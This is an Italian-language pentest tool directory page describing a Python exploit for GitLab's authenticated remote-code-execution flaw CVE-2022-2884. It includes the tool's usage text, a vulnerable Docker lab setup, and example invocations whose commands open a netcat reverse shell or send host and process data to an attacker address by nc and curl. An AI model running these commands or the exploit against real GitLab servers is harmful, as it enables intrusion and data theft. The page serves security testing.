Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
gitlab_rce_cve-2022-2884 — Sfrutta la vulnerabilità di RCE autenticata su GitLab nota come CVE-2022-2884. | Kitploit
Strumenti/GitHubGitHub/m3ssap0/gitlab_rce_cve-2022-2884
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubm3ssap0/gitlab_rce_cve-2022-2884

gitlab_rce_cve-2022-2884

Sfrutta la vulnerabilità di RCE autenticata su GitLab nota come CVE-2022-2884.

Vedi Repository
26633 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

gitlab_rce_cve-2022-2884

Questo è un programma Python3 che sfrutta la vulnerabilità RCE autenticata di GitLab nota come CVE-2022-2884.

DICHIARAZIONE DI NON RESPONSABILITÀ

Questo strumento è destinato a ingegneri della sicurezza e personale appsec per valutazioni di sicurezza. Si prega di utilizzare questo strumento in modo responsabile. Non mi assumo la responsabilità per il modo in cui qualcuno utilizza questa applicazione. NON sono responsabile per eventuali danni causati o reati commessi utilizzando questo strumento.

Informazioni sulla vulnerabilità

  • CVE-ID: CVE-2022-2884
  • Collegamento: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884
  • Descrizione: Una vulnerabilità in GitLab CE/EE che colpisce tutte le versioni da 11.3.4 fino a 15.1.5, 15.2 fino a 15.2.3, 15.3 fino a 15.3.1 consente a un utente autenticato di ottenere l'esecuzione remota di codice tramite l'endpoint Import from GitHub API.
  • Link del fornitore: https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/

Aiuto

root@kitploit:~
$ ./gitlab_rce_cve-2022-2884.py --help
usage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v]

Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - v1.0 (2022-12-25)

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of the victim GitLab
  -pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN
                        private token of GitLab
  -tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE
                        target namespace of GitLab (default is 'root')
  -a ADDRESS, --address ADDRESS
                        IP address of the attacker machine
  -p PORT, --port PORT  TCP port of the attacker machine (default is 1337)
  -s, --https           set if the attacker machine is exposed via HTTPS
  -c COMMAND, --command COMMAND
                        the command to execute
  -d DELAY, --delay DELAY
                        seconds of delay to wait for the exploit to complete
  -v, --verbose         verbose mode

Esempi

root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "id | nc 1.2.3.4 6669"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- "
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash"

Applicazione vulnerabile

Un'applicazione vulnerabile può essere configurata con i seguenti comandi.

root@kitploit:~
export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
           --hostname gitlab.example.com \
           --publish 443:443 --publish 80:80 --publish 22:22 \
           --name vuln-gitlab \
           --volume $GITLAB_HOME/config:/etc/gitlab \
           --volume $GITLAB_HOME/logs:/var/log/gitlab \
           --volume $GITLAB_HOME/data:/var/opt/gitlab \
           --shm-size 256m \
           gitlab/gitlab-ce:15.3.0-ce.0

Potrebbe volerci un po' prima che il container Docker inizi a rispondere alle richieste. Quindi connettersi a http://localhost.

Accedere con il nome utente root e la password dal seguente comando.

root@kitploit:~
docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password

Per testare l'exploit localmente, è necessario aggiungere --network="host" al comando docker run e rimuovere i vincoli per le richieste in uscita su GitLab:

  • connettersi a http://localhost/admin/application_settings/network;
  • espandere la sezione "Outbound requests";
  • spuntare "Allow requests to the local network from web hooks and services";
  • aggiungere 127.0.0.1 alla casella di testo "Local IP addresses and domain names that hooks and services may access";
  • salvare le modifiche.

Il prerequisito dell'exploit è avere un token privato su GitLab:

  • connettersi a http://localhost/-/profile/personal_access_tokens;
  • generare un token con almeno ambito api.

Autori

  • Antonio Francesco Sardella - implementazione principale - m3ssap0

Licenza

Vedere il file LICENSE per i dettagli.

Riconoscimenti

  • yvvdwf, il ricercatore di sicurezza che ha scoperto la vulnerabilità.
Scarica lo strumento